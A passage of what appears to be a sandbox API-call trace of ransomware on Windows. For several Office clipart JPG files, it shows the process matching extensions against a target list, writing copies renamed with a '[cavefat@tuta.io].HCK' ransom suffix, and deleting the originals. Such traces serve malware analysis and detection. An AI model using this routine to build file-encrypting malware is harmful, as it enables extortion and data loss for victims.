Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0236.176] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.176] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0236.177] GetLastError () returned 0x0 [0236.177] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x9d27, lpOverlapped=0x0) returned 1 [0236.179] WriteFile (in: hFile=0x3b8, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x9d30, lpOverlapped=0x0) returned 1 [0236.180] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.180] WriteFile (in: hFile=0x3b8, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0236.180] SetEndOfFile (hFile=0x3b8) returned 1 [0236.183] CloseHandle (hObject=0x3b8) returned 1 [0236.183] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.184] SetEndOfFile (hFile=0x3c4) returned 1 [0236.377] CloseHandle (hObject=0x3c4) returned 1 [0236.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg")) returned 1 [0236.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0236.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0236.378] lstrlenW (lpString=".doc") returned 4 [0236.378] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.378] lstrlenW (lpString=".docx") returned 5 [0236.378] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0236.378] lstrlenW (lpString=".pdf") returned 4 [0236.378] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.378] lstrlenW (lpString=".xls") returned 4 [0236.378] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.378] lstrlenW (lpString=".xlsx") returned 5 [0236.378] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0236.378] lstrlenW (lpString=".ppt") returned 4 [0236.378] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0236.378] lstrlenW (lpString=".zip") returned 4 [0236.378] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.378] lstrlenW (lpString=".rar") returned 4 [0236.378] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.378] lstrlenW (lpString=".bz2") returned 4 [0236.378] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.378] lstrlenW (lpString=".7z") returned 3 [0236.378] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0236.378] lstrlenW (lpString=".dbf") returned 4 [0236.378] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0236.378] lstrlenW (lpString=".1cd") returned 4 [0236.378] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0236.378] lstrlenW (lpString=".jpg") returned 4 [0236.378] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0236.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0236.379] lstrlenW (lpString=".doc") returned 4 [0236.379] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.379] lstrlenW (lpString=".docx") returned 5 [0236.379] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0236.379] lstrlenW (lpString=".pdf") returned 4 [0236.379] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.379] lstrlenW (lpString=".xls") returned 4 [0236.379] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.379] lstrlenW (lpString=".xlsx") returned 5 [0236.379] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0236.379] lstrlenW (lpString=".ppt") returned 4 [0236.379] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0236.379] lstrlenW (lpString=".zip") returned 4 [0236.379] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.379] lstrlenW (lpString=".rar") returned 4 [0236.379] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.379] lstrlenW (lpString=".bz2") returned 4 [0236.379] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.379] lstrlenW (lpString=".7z") returned 3 [0236.379] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0236.379] lstrlenW (lpString=".dbf") returned 4 [0236.379] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0236.379] lstrlenW (lpString=".1cd") returned 4 [0236.379] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0236.379] lstrlenW (lpString=".jpg") returned 4 [0236.379] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.379] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0236.379] lstrlenW (lpString="J0145707.JPG") returned 12 [0236.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0236.380] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=36820) returned 1 [0236.380] CloseHandle (hObject=0x3c4) returned 1 [0236.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg")) returned 0x220 [0236.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0236.381] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.381] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0236.382] GetLastError () returned 0x0 [0236.382] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x8fd4, lpOverlapped=0x0) returned 1 [0236.384] WriteFile (in: hFile=0x4b0, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x8fe0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x8fe0, lpOverlapped=0x0) returned 1 [0236.385] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.385] WriteFile (in: hFile=0x4b0, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0236.386] SetEndOfFile (hFile=0x4b0) returned 1 [0236.386] CloseHandle (hObject=0x4b0) returned 1 [0236.386] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.386] SetEndOfFile (hFile=0x3c4) returned 1 [0236.388] CloseHandle (hObject=0x3c4) returned 1 [0236.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.389] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg")) returned 1 [0236.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0236.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0236.390] lstrlenW (lpString=".doc") returned 4 [0236.390] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.390] lstrlenW (lpString=".docx") returned 5 [0236.390] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0236.390] lstrlenW (lpString=".pdf") returned 4 [0236.390] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.390] lstrlenW (lpString=".xls") returned 4 [0236.390] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.390] lstrlenW (lpString=".xlsx") returned 5 [0236.390] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0236.390] lstrlenW (lpString=".ppt") returned 4 [0236.390] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0236.390] lstrlenW (lpString=".zip") returned 4 [0236.390] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.390] lstrlenW (lpString=".rar") returned 4 [0236.390] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.390] lstrlenW (lpString=".bz2") returned 4 [0236.390] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.390] lstrlenW (lpString=".7z") returned 3 [0236.390] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0236.390] lstrlenW (lpString=".dbf") returned 4 [0236.390] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0236.390] lstrlenW (lpString=".1cd") returned 4 [0236.390] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0236.390] lstrlenW (lpString=".jpg") returned 4 [0236.390] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0236.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0236.390] lstrlenW (lpString=".doc") returned 4 [0236.390] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.390] lstrlenW (lpString=".docx") returned 5 [0236.390] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0236.390] lstrlenW (lpString=".pdf") returned 4 [0236.390] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.390] lstrlenW (lpString=".xls") returned 4 [0236.390] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.390] lstrlenW (lpString=".xlsx") returned 5 [0236.391] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0236.391] lstrlenW (lpString=".ppt") returned 4 [0236.391] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0236.391] lstrlenW (lpString=".zip") returned 4 [0236.391] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.391] lstrlenW (lpString=".rar") returned 4 [0236.391] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.391] lstrlenW (lpString=".bz2") returned 4 [0236.391] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.391] lstrlenW (lpString=".7z") returned 3 [0236.391] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0236.391] lstrlenW (lpString=".dbf") returned 4 [0236.391] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0236.391] lstrlenW (lpString=".1cd") returned 4 [0236.391] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0236.391] lstrlenW (lpString=".jpg") returned 4 [0236.391] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.391] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0236.391] lstrlenW (lpString="J0145810.JPG") returned 12 [0236.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0236.392] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=36792) returned 1 [0236.392] CloseHandle (hObject=0x3c4) returned 1 [0236.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg")) returned 0x220 [0236.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0236.393] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.393] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0236.394] GetLastError () returned 0x0 [0236.394] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x8fb8, lpOverlapped=0x0) returned 1 [0236.396] WriteFile (in: hFile=0x4b0, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x8fc0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x8fc0, lpOverlapped=0x0) returned 1 [0236.397] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.397] WriteFile (in: hFile=0x4b0, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0236.397] SetEndOfFile (hFile=0x4b0) returned 1 [0236.397] CloseHandle (hObject=0x4b0) returned 1 [0236.397] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.398] SetEndOfFile (hFile=0x3c4) returned 1 [0236.402] CloseHandle (hObject=0x3c4) returned 1 [0236.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg")) returned 1 [0236.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0236.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0236.403] lstrlenW (lpString=".doc") returned 4 [0236.403] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.403] lstrlenW (lpString=".docx") returned 5 [0236.403] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0236.403] lstrlenW (lpString=".pdf") returned 4 [0236.403] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.403] lstrlenW (lpString=".xls") returned 4 [0236.403] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.403] lstrlenW (lpString=".xlsx") returned 5 [0236.403] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0236.403] lstrlenW (lpString=".ppt") returned 4 [0236.404] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0236.404] lstrlenW (lpString=".zip") returned 4 [0236.404] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.404] lstrlenW (lpString=".rar") returned 4 [0236.404] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.404] lstrlenW (lpString=".bz2") returned 4 [0236.404] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.404] lstrlenW (lpString=".7z") returned 3 [0236.404] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0236.404] lstrlenW (lpString=".dbf") returned 4 [0236.404] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0236.404] lstrlenW (lpString=".1cd") returned 4 [0236.404] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0236.404] lstrlenW (lpString=".jpg") returned 4 [0236.404] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0236.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0236.404] lstrlenW (lpString=".doc") returned 4 [0236.404] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.404] lstrlenW (lpString=".docx") returned 5 [0236.404] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0236.404] lstrlenW (lpString=".pdf") returned 4 [0236.404] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.404] lstrlenW (lpString=".xls") returned 4 [0236.404] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.404] lstrlenW (lpString=".xlsx") returned 5 [0236.404] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0236.404] lstrlenW (lpString=".ppt") returned 4 [0236.404] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0236.404] lstrlenW (lpString=".zip") returned 4 [0236.404] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.404] lstrlenW (lpString=".rar") returned 4 [0236.404] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.404] lstrlenW (lpString=".bz2") returned 4 [0236.404] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.404] lstrlenW (lpString=".7z") returned 3 [0236.404] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0236.404] lstrlenW (lpString=".dbf") returned 4 [0236.404] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0236.404] lstrlenW (lpString=".1cd") returned 4 [0236.404] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0236.405] lstrlenW (lpString=".jpg") returned 4 [0236.405] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.405] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0236.405] lstrlenW (lpString="J0145879.JPG") returned 12 [0236.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0236.406] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=35419) returned 1 [0236.406] CloseHandle (hObject=0x3c4) returned 1 [0236.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg")) returned 0x220 [0236.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0236.407] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.407] SetFilePointerEx (in: 